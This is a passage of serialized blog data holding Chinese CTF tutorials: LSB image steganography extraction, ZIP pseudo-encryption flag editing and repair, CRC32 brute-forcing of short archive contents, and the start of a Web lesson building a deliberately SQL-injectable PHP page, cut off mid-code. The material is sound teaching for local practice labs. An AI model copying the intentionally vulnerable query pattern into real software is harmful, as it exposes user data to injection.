个秘密比特。\n",[32,11908,11909],{"class":34,"line":3960},[32,11910,4725],{},[32,11912,11913],{"class":34,"line":3966},[32,11914,4751],{},[32,11916,11917],{"class":34,"line":3972},[32,11918,11919],{},"        # 绿色通道，同样处理。\n",[32,11921,11922],{"class":34,"line":3978},[32,11923,4725],{},[32,11925,11926],{"class":34,"line":4743},[32,11927,4768],{},[32,11929,11930],{"class":34,"line":4748},[32,11931,11932],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[32,11934,11935],{"class":34,"line":4754},[32,11936,4780],{},[32,11938,11939],{"class":34,"line":4760},[32,11940,2433],{"emptyLinePlaceholder":1372},[32,11942,11943],{"class":34,"line":4765},[32,11944,4797],{},[32,11946,11947],{"class":34,"line":4771},[32,11948,11949],{},"# putdata()：把修改后的像素写回图片。\n",[32,11951,11952],{"class":34,"line":4777},[32,11953,4809],{},[32,11955,11956],{"class":34,"line":4783},[32,11957,11958],{},"# save()：保存为 PNG。\n",[32,11960,11961],{"class":34,"line":4789},[32,11962,4821],{},[15,11964,11965,11967,11968,4831,11970,11972],{},[29,11966,4826],{}," 清零最低位（",[29,11969,4830],{},[29,11971,4834],{}," 写入。",[146,11974,11976],{"id":11975},"_33-提取解题视角","3.3 提取（解题视角）",[15,11978,11979,11981],{},[135,11980,137],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,11983,11984,11986],{},[135,11985,143],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[22,11988,11990],{"className":1237,"code":11989,"language":1239,"meta":27,"style":27},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[29,11991,11992,11996,12000,12004,12009,12013,12017,12021,12026,12030,12034,12038,12043,12047,12051,12055,12060,12064,12069,12073,12077,12081,12085],{"__ignoreMap":27},[32,11993,11994],{"class":34,"line":35},[32,11995,4628],{},[32,11997,11998],{"class":34,"line":46},[32,11999,2433],{"emptyLinePlaceholder":1372},[32,12001,12002],{"class":34,"line":69},[32,12003,4867],{},[32,12005,12006],{"class":34,"line":79},[32,12007,12008],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[32,12010,12011],{"class":34,"line":451},[32,12012,4882],{},[32,12014,12015],{"class":34,"line":457},[32,12016,4887],{},[32,12018,12019],{"class":34,"line":463},[32,12020,4892],{},[32,12022,12023],{"class":34,"line":469},[32,12024,12025],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[32,12027,12028],{"class":34,"line":475},[32,12029,2433],{"emptyLinePlaceholder":1372},[32,12031,12032],{"class":34,"line":481},[32,12033,4911],{},[32,12035,12036],{"class":34,"line":1294},[32,12037,4916],{},[32,12039,12040],{"class":34,"line":1300},[32,12041,12042],{},"    # 每 8 个比特一组，步长为 8。\n",[32,12044,12045],{"class":34,"line":2478},[32,12046,4926],{},[32,12048,12049],{"class":34,"line":2484},[32,12050,4931],{},[32,12052,12053],{"class":34,"line":2490},[32,12054,4936],{},[32,12056,12057],{"class":34,"line":2496},[32,12058,12059],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[32,12061,12062],{"class":34,"line":2502},[32,12063,4951],{},[32,12065,12066],{"class":34,"line":2508},[32,12067,12068],{},"        # 字节 0 是隐藏时追加的结束符。\n",[32,12070,12071],{"class":34,"line":2514},[32,12072,3645],{},[32,12074,12075],{"class":34,"line":3954},[32,12076,4965],{},[32,12078,12079],{"class":34,"line":3960},[32,12080,2433],{"emptyLinePlaceholder":1372},[32,12082,12083],{"class":34,"line":3966},[32,12084,4974],{},[32,12086,12087],{"class":34,"line":3972},[32,12088,12089],{},"# decode()：字节串解码成字符串。\n",[15,12091,3405],{},[22,12093,12095],{"className":12094,"code":4985,"language":174,"meta":27},[172],[29,12096,4985],{"__ignoreMap":27},[146,12098,12100],{"id":12099},"_34-工具验证","3.4 工具验证",[22,12102,12104],{"className":24,"code":12103,"language":26,"meta":27,"style":27},"zsteg -a hidden.png\n",[29,12105,12106],{"__ignoreMap":27},[32,12107,12108,12110,12112],{"class":34,"line":35},[32,12109,5011],{"class":38},[32,12111,5014],{"class":240},[32,12113,4387],{"class":42},[15,12115,12116,12117,300],{},"预期输出中包含 ",[29,12118,12119],{},"flag{lsb_steganography}",[10,12121,12123],{"id":12122},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,12125,12126,12128],{},[135,12127,137],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,12130,12131,12133],{},[135,12132,143],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[146,12135,12137],{"id":12136},"_41-zip-结构","4.1 ZIP 结构",[15,12139,12140],{},"本地文件头：",[22,12142,12145],{"className":12143,"code":12144,"language":174,"meta":27},[172],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[29,12146,12144],{"__ignoreMap":27},[15,12148,12149,12150,12153],{},"中央目录头（签名 ",[29,12151,12152],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[146,12155,12157],{"id":12156},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,12159,12160,12162],{},[135,12161,137],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[22,12164,12166],{"className":1237,"code":12165,"language":1239,"meta":27,"style":27},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[29,12167,12168,12173,12177,12182,12187,12191,12196],{"__ignoreMap":27},[32,12169,12170],{"class":34,"line":35},[32,12171,12172],{},"import zipfile\n",[32,12174,12175],{"class":34,"line":46},[32,12176,2433],{"emptyLinePlaceholder":1372},[32,12178,12179],{"class":34,"line":69},[32,12180,12181],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[32,12183,12184],{"class":34,"line":79},[32,12185,12186],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[32,12188,12189],{"class":34,"line":451},[32,12190,2433],{"emptyLinePlaceholder":1372},[32,12192,12193],{"class":34,"line":457},[32,12194,12195],{},"data = open('flag.zip', 'rb').read()\n",[32,12197,12198],{"class":34,"line":463},[32,12199,12200],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,12202,3405],{},[22,12204,12207],{"className":12205,"code":12206,"language":174,"meta":27},[172],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[29,12208,12206],{"__ignoreMap":27},[15,12210,12211],{},"解释：",[22,12213,12216],{"className":12214,"code":12215,"language":174,"meta":27},[172],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[29,12217,12215],{"__ignoreMap":27},[146,12219,12221],{"id":12220},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,12223,12224,12226],{},[135,12225,143],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[22,12228,12230],{"className":1237,"code":12229,"language":1239,"meta":27,"style":27},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[29,12231,12232,12237,12241,12246,12251,12256,12260,12265,12270,12275,12279],{"__ignoreMap":27},[32,12233,12234],{"class":34,"line":35},[32,12235,12236],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[32,12238,12239],{"class":34,"line":46},[32,12240,2433],{"emptyLinePlaceholder":1372},[32,12242,12243],{"class":34,"line":69},[32,12244,12245],{},"# 本地文件头：偏移 6 处标志位置位\n",[32,12247,12248],{"class":34,"line":79},[32,12249,12250],{},"idx = data.find(b'PK\\x03\\x04')\n",[32,12252,12253],{"class":34,"line":451},[32,12254,12255],{},"data[idx + 6] |= 1\n",[32,12257,12258],{"class":34,"line":457},[32,12259,2433],{"emptyLinePlaceholder":1372},[32,12261,12262],{"class":34,"line":463},[32,12263,12264],{},"# 中央目录头：偏移 8 处标志位置位\n",[32,12266,12267],{"class":34,"line":469},[32,12268,12269],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[32,12271,12272],{"class":34,"line":475},[32,12273,12274],{},"data[idx2 + 8] |= 1\n",[32,12276,12277],{"class":34,"line":481},[32,12278,2433],{"emptyLinePlaceholder":1372},[32,12280,12281],{"class":34,"line":1294},[32,12282,12283],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,12285,12286],{},"修改后的 hexdump：",[22,12288,12291],{"className":12289,"code":12290,"language":174,"meta":27},[172],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[29,12292,12290],{"__ignoreMap":27},[15,12294,12295],{},"尝试读取：",[22,12297,12299],{"className":1237,"code":12298,"language":1239,"meta":27,"style":27},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[29,12300,12301,12305,12309,12314,12319,12324,12329],{"__ignoreMap":27},[32,12302,12303],{"class":34,"line":35},[32,12304,12172],{},[32,12306,12307],{"class":34,"line":46},[32,12308,2433],{"emptyLinePlaceholder":1372},[32,12310,12311],{"class":34,"line":69},[32,12312,12313],{},"try:\n",[32,12315,12316],{"class":34,"line":79},[32,12317,12318],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[32,12320,12321],{"class":34,"line":451},[32,12322,12323],{},"        print(z.read('flag.txt'))\n",[32,12325,12326],{"class":34,"line":457},[32,12327,12328],{},"except Exception as e:\n",[32,12330,12331],{"class":34,"line":463},[32,12332,12333],{},"    print(type(e).__name__, e)\n",[15,12335,3405],{},[22,12337,12340],{"className":12338,"code":12339,"language":174,"meta":27},[172],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[29,12341,12339],{"__ignoreMap":27},[15,12343,12344],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[146,12346,12348],{"id":12347},"_44-修复","4.4 修复",[15,12350,12351,12353,12354,12357],{},[135,12352,143],{},"：把两处标志位最低位清零（",[29,12355,12356],{},"& 0xfe","），恢复成未加密状态。",[22,12359,12361],{"className":1237,"code":12360,"language":1239,"meta":27,"style":27},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[29,12362,12363,12368,12372,12376,12381,12385,12390,12394,12399,12403,12408],{"__ignoreMap":27},[32,12364,12365],{"class":34,"line":35},[32,12366,12367],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[32,12369,12370],{"class":34,"line":46},[32,12371,2433],{"emptyLinePlaceholder":1372},[32,12373,12374],{"class":34,"line":69},[32,12375,12250],{},[32,12377,12378],{"class":34,"line":79},[32,12379,12380],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[32,12382,12383],{"class":34,"line":451},[32,12384,12269],{},[32,12386,12387],{"class":34,"line":457},[32,12388,12389],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[32,12391,12392],{"class":34,"line":463},[32,12393,2433],{"emptyLinePlaceholder":1372},[32,12395,12396],{"class":34,"line":469},[32,12397,12398],{},"open('flag_fixed.zip', 'wb').write(data)\n",[32,12400,12401],{"class":34,"line":475},[32,12402,2433],{"emptyLinePlaceholder":1372},[32,12404,12405],{"class":34,"line":481},[32,12406,12407],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[32,12409,12410],{"class":34,"line":1294},[32,12411,12412],{},"    print(z.read('flag.txt'))\n",[15,12414,3405],{},[22,12416,12419],{"className":12417,"code":12418,"language":174,"meta":27},[172],"b'ctf{zip}'\n",[29,12420,12418],{"__ignoreMap":27},[15,12422,12423,12424,12427],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[29,12425,12426],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12429,12431],{"id":12430},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12433,12434,12436],{},[135,12435,137],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12438,12439,12441],{},[135,12440,143],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12443,12444],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[22,12446,12448],{"className":1237,"code":12447,"language":1239,"meta":27,"style":27},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[29,12449,12450,12455,12460,12464,12469,12474,12479,12484,12488,12493,12498,12503,12508,12513,12518,12523,12528,12533,12538],{"__ignoreMap":27},[32,12451,12452],{"class":34,"line":35},[32,12453,12454],{},"import zipfile, zlib, itertools\n",[32,12456,12457],{"class":34,"line":46},[32,12458,12459],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[32,12461,12462],{"class":34,"line":69},[32,12463,2433],{"emptyLinePlaceholder":1372},[32,12465,12466],{"class":34,"line":79},[32,12467,12468],{},"z = zipfile.ZipFile('flag.zip')\n",[32,12470,12471],{"class":34,"line":451},[32,12472,12473],{},"target = z.getinfo('flag.txt').CRC\n",[32,12475,12476],{"class":34,"line":457},[32,12477,12478],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[32,12480,12481],{"class":34,"line":463},[32,12482,12483],{},"print(\"目标 CRC:\", target)\n",[32,12485,12486],{"class":34,"line":469},[32,12487,2433],{"emptyLinePlaceholder":1372},[32,12489,12490],{"class":34,"line":475},[32,12491,12492],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[32,12494,12495],{"class":34,"line":481},[32,12496,12497],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[32,12499,12500],{"class":34,"line":1294},[32,12501,12502],{},"for length in range(1, 5):\n",[32,12504,12505],{"class":34,"line":1300},[32,12506,12507],{},"    for tup in itertools.product(charset, repeat=length):\n",[32,12509,12510],{"class":34,"line":2478},[32,12511,12512],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[32,12514,12515],{"class":34,"line":2484},[32,12516,12517],{},"        s = ''.join(tup).encode()\n",[32,12519,12520],{"class":34,"line":2490},[32,12521,12522],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[32,12524,12525],{"class":34,"line":2496},[32,12526,12527],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[32,12529,12530],{"class":34,"line":2502},[32,12531,12532],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[32,12534,12535],{"class":34,"line":2508},[32,12536,12537],{},"            print(\"爆破结果:\", s)\n",[32,12539,12540],{"class":34,"line":2514},[32,12541,12542],{},"            exit()\n",[15,12544,12545,12546,12549],{},"实际输出（目标内容 ",[29,12547,12548],{},"ctf1","）：",[22,12551,12554],{"className":12552,"code":12553,"language":174,"meta":27},[172],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[29,12555,12553],{"__ignoreMap":27},[15,12557,12558,12559,12562,12563,12566],{},"注意 ",[29,12560,12561],{},"zlib.crc32"," 返回有符号整数，需要 ",[29,12564,12565],{},"& 0xffffffff"," 归一化。",[10,12568,1037],{"id":1036},[489,12570,12571,12581],{},[492,12572,12573],{},[495,12574,12575,12577,12579],{},[498,12576,1046],{},[498,12578,1049],{},[498,12580,5037],{},[505,12582,12583,12595,12609,12622],{},[495,12584,12585,12587,12590],{},[510,12586,162],{},[510,12588,12589],{},"看类型",[510,12591,12592],{},[29,12593,12594],{},"file flag.png",[495,12596,12597,12599,12602],{},[510,12598,4444],{},[510,12600,12601],{},"看文件头与结构",[510,12603,12604,263,12606],{},[29,12605,5064],{},[29,12607,12608],{},"xxd flag.zip | head",[495,12610,12611,12613,12616],{},[510,12612,4536],{},[510,12614,12615],{},"扫描/提取隐藏文件",[510,12617,12618,263,12620],{},[29,12619,5092],{},[29,12621,5095],{},[495,12623,12624,12626,12629],{},[510,12625,5011],{},[510,12627,12628],{},"LSB 自动检测",[510,12630,12631],{},[29,12632,12633],{},"zsteg -a flag.png",[10,12635,12637],{"id":12636},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12639,12640,12642],{},[135,12641,137],{},"：把前三节串成一道完整题目。",[15,12644,12645,12647],{},[135,12646,143],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12649,1135,12650,300],{},[29,12651,5104],{},[15,12653,5107],{},[22,12655,12657],{"className":24,"code":12656,"language":26,"meta":27,"style":27},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[29,12658,12659,12668,12685],{"__ignoreMap":27},[32,12660,12661,12663,12665],{"class":34,"line":35},[32,12662,162],{"class":38},[32,12664,4415],{"class":42},[32,12666,12667],{"class":2549},"          # PNG image data\n",[32,12669,12670,12672,12674,12676,12678,12680,12682],{"class":34,"line":46},[32,12671,208],{"class":38},[32,12673,4415],{"class":42},[32,12675,399],{"class":55},[32,12677,402],{"class":38},[32,12679,4513],{"class":240},[32,12681,6171],{"class":42},[32,12683,12684],{"class":2549},"    # 无输出\n",[32,12686,12687,12689,12691],{"class":34,"line":69},[32,12688,4536],{"class":38},[32,12690,4415],{"class":42},[32,12692,12693],{"class":2549},"                   # 无隐藏文件\n",[15,12695,12696],{},"第二步：怀疑 LSB，运行提取脚本：",[22,12698,12700],{"className":12699,"code":4985,"language":174,"meta":27},[172],[29,12701,4985],{"__ignoreMap":27},[15,12703,12704,12705,12707],{},"变体：若提取出的字节不是文本而是 ",[29,12706,4322],{}," 开头，把它保存为 zip，再检查是否伪加密：",[22,12709,12711],{"className":1237,"code":12710,"language":1239,"meta":27,"style":27},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[29,12712,12713,12718],{"__ignoreMap":27},[32,12714,12715],{"class":34,"line":35},[32,12716,12717],{},"with open('extracted.zip', 'wb') as f:\n",[32,12719,12720],{"class":34,"line":46},[32,12721,12722],{},"    f.write(data)\n",[15,12724,12725],{},"然后按第四节流程检查并修复标志位。",[10,12727,1336],{"id":1335},[15,12729,12730,12731,12733,12734,1124,12736,12738],{},"取证主线：",[29,12732,162],{}," 确认类型 → ",[29,12735,208],{},[29,12737,4536],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1349,12740,12741],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":27,"searchDepth":46,"depth":46,"links":12743},[12744,12745,12746,12747,12748,12749,12750,12751],{"id":11746,"depth":69,"text":11747},{"id":88,"depth":69,"text":89},{"id":11792,"depth":69,"text":11793},{"id":12122,"depth":69,"text":12123},{"id":12430,"depth":69,"text":12431},{"id":1036,"depth":69,"text":1037},{"id":12636,"depth":69,"text":12637},{"id":1335,"depth":69,"text":1336},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1365,"image":3227,"alt":12754,"tags":12755,"published":1372},"隐写与取证深入实战",[1369,5203,12756,1371],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11741,"description":12752},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12762,"title":12763,"body":12764,"description":14611,"extension":1363,"meta":14612,"navigation":1372,"ogImage":14613,"path":14616,"seo":14617,"stem":14618,"__hash__":14619},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12765,"toc":14599},[12766,12770,12773,12792,12798,12804,12806,12864,12874,12878,12881,12969,12972,12976,12980,12983,12986,13014,13019,13131,13134,13147,13151,13153,13167,13169,13174,13178,13186,13199,13204,13207,13237,13240,13245,13248,13251,13276,13281,13284,13309,13312,13320,13324,13329,13337,13340,13365,13368,13398,13403,13406,13431,13435,13438,13473,13477,13480,13510,13514,13517,13540,13544,13557,13567,13571,13576,13593,13597,13603,13612,13616,13632,13637,13641,13657,13659,13705,13714,13718,13721,13768,13775,13779,13782,13853,13860,13864,13869,13893,13897,13903,13936,13940,13971,13973,13979,13983,14014,14017,14021,14052,14055,14059,14084,14088,14091,14094,14108,14112,14117,14149,14158,14164,14195,14198,14202,14205,14259,14262,14266,14269,14272,14290,14292,14297,14300,14318,14323,14326,14352,14359,14363,14370,14390,14394,14399,14429,14434,14438,14447,14467,14469,14497,14500,14509,14518,14532,14536,14541,14584,14591,14593,14596],[10,12767,12769],{"id":12768},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12771,12772],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[22,12774,12776],{"className":24,"code":12775,"language":26,"meta":27,"style":27},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[29,12777,12778],{"__ignoreMap":27},[32,12779,12780,12782,12785,12787,12790],{"class":34,"line":35},[32,12781,5455],{"class":38},[32,12783,12784],{"class":240}," -v",[32,12786,5458],{"class":411},[32,12788,12789],{"class":42},"http://127.0.0.1:8000/index.php?id=1",[32,12791,5464],{"class":411},[15,12793,12794,12797],{},[29,12795,12796],{},"-v"," 会显示完整过程，输出示例：",[22,12799,12802],{"className":12800,"code":12801,"language":174,"meta":27},[172],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[29,12803,12801],{"__ignoreMap":27},[15,12805,12211],{},[489,12807,12808,12817],{},[492,12809,12810],{},[495,12811,12812,12815],{},[498,12813,12814],{},"部分",[498,12816,503],{},[505,12818,12819,12836,12846,12856],{},[495,12820,12821,12826],{},[510,12822,12823],{},[29,12824,12825],{},"GET /index.php?id=1",[510,12827,12828,12829,12832,12833],{},"方法 GET，路径 ",[29,12830,12831],{},"/index.php","，参数 ",[29,12834,12835],{},"id=1",[495,12837,12838,12843],{},[510,12839,12840],{},[29,12841,12842],{},"Host",[510,12844,12845],{},"目标主机",[495,12847,12848,12853],{},[510,12849,12850],{},[29,12851,12852],{},"HTTP/1.1 200 OK",[510,12854,12855],{},"协议版本与状态码，200 表示成功",[495,12857,12858,12861],{},[510,12859,12860],{},"正文",[510,12862,12863],{},"服务器返回的 HTML",[15,12865,12866,12867,12873],{},"Web 漏洞几乎都源于一件事：",[135,12868,12869,12870,12872],{},"参数 ",[29,12871,5430],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12875,12877],{"id":12876},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12879,12880],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[22,12882,12884],{"className":24,"code":12883,"language":26,"meta":27,"style":27},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[29,12885,12886,12891,12906,12914,12920,12932,12936,12941,12952],{"__ignoreMap":27},[32,12887,12888],{"class":34,"line":35},[32,12889,12890],{"class":2549},"# 方式一：源码部署（需要 PHP + MySQL）\n",[32,12892,12893,12895,12897,12900,12903],{"class":34,"line":46},[32,12894,102],{"class":38},[32,12896,105],{"class":42},[32,12898,12899],{"class":42}," php",[32,12901,12902],{"class":42}," php-mysql",[32,12904,12905],{"class":42}," mariadb-server\n",[32,12907,12908,12910,12912],{"class":34,"line":69},[32,12909,5282],{"class":38},[32,12911,5285],{"class":42},[32,12913,5288],{"class":42},[32,12915,12916,12918],{"class":34,"line":79},[32,12917,770],{"class":769},[32,12919,5295],{"class":42},[32,12921,12922,12924,12926,12929],{"class":34,"line":451},[32,12923,5224],{"class":38},[32,12925,5302],{"class":240},[32,12927,12928],{"class":42}," 127.0.0.1:8000",[32,12930,12931],{"class":2549},"        # 启动后浏览器访问，点 Setup/reset Database\n",[32,12933,12934],{"class":34,"line":457},[32,12935,2433],{"emptyLinePlaceholder":1372},[32,12937,12938],{"class":34,"line":463},[32,12939,12940],{"class":2549},"# 方式二：Docker 部署（最简单）\n",[32,12942,12943,12946,12949],{"class":34,"line":469},[32,12944,12945],{"class":38},"docker",[32,12947,12948],{"class":42}," pull",[32,12950,12951],{"class":42}," tavenli/sqli-labs\n",[32,12953,12954,12956,12959,12961,12964,12967],{"class":34,"line":475},[32,12955,12945],{"class":38},[32,12957,12958],{"class":42}," run",[32,12960,367],{"class":240},[32,12962,12963],{"class":240}," -p",[32,12965,12966],{"class":42}," 8000:80",[32,12968,12951],{"class":42},[15,12970,12971],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12973,12975],{"id":12974},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[146,12977,12979],{"id":12978},"_31-平台与代码","3.1 平台与代码",[15,12981,12982],{},"平台：Linux + PHP + MySQL。",[15,12984,12985],{},"第一步，建数据库。在 MySQL 里执行：",[22,12987,12988],{"className":5249,"code":5321,"language":5251,"meta":27,"style":27},[29,12989,12990,12994,12998,13002,13006,13010],{"__ignoreMap":27},[32,12991,12992],{"class":34,"line":35},[32,12993,5328],{},[32,12995,12996],{"class":34,"line":46},[32,12997,5333],{},[32,12999,13000],{"class":34,"line":69},[32,13001,5338],{},[32,13003,13004],{"class":34,"line":79},[32,13005,5343],{},[32,13007,13008],{"class":34,"line":451},[32,13009,5348],{},[32,13011,13012],{"class":34,"line":457},[32,13013,5353],{},[15,13015,13016,13017,560],{},"第二步，写漏洞页面 ",[29,13018,5358],{},[22,13020,13022],{"className":5222,"code":13021,"language":5224,"meta":27,"style":27},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 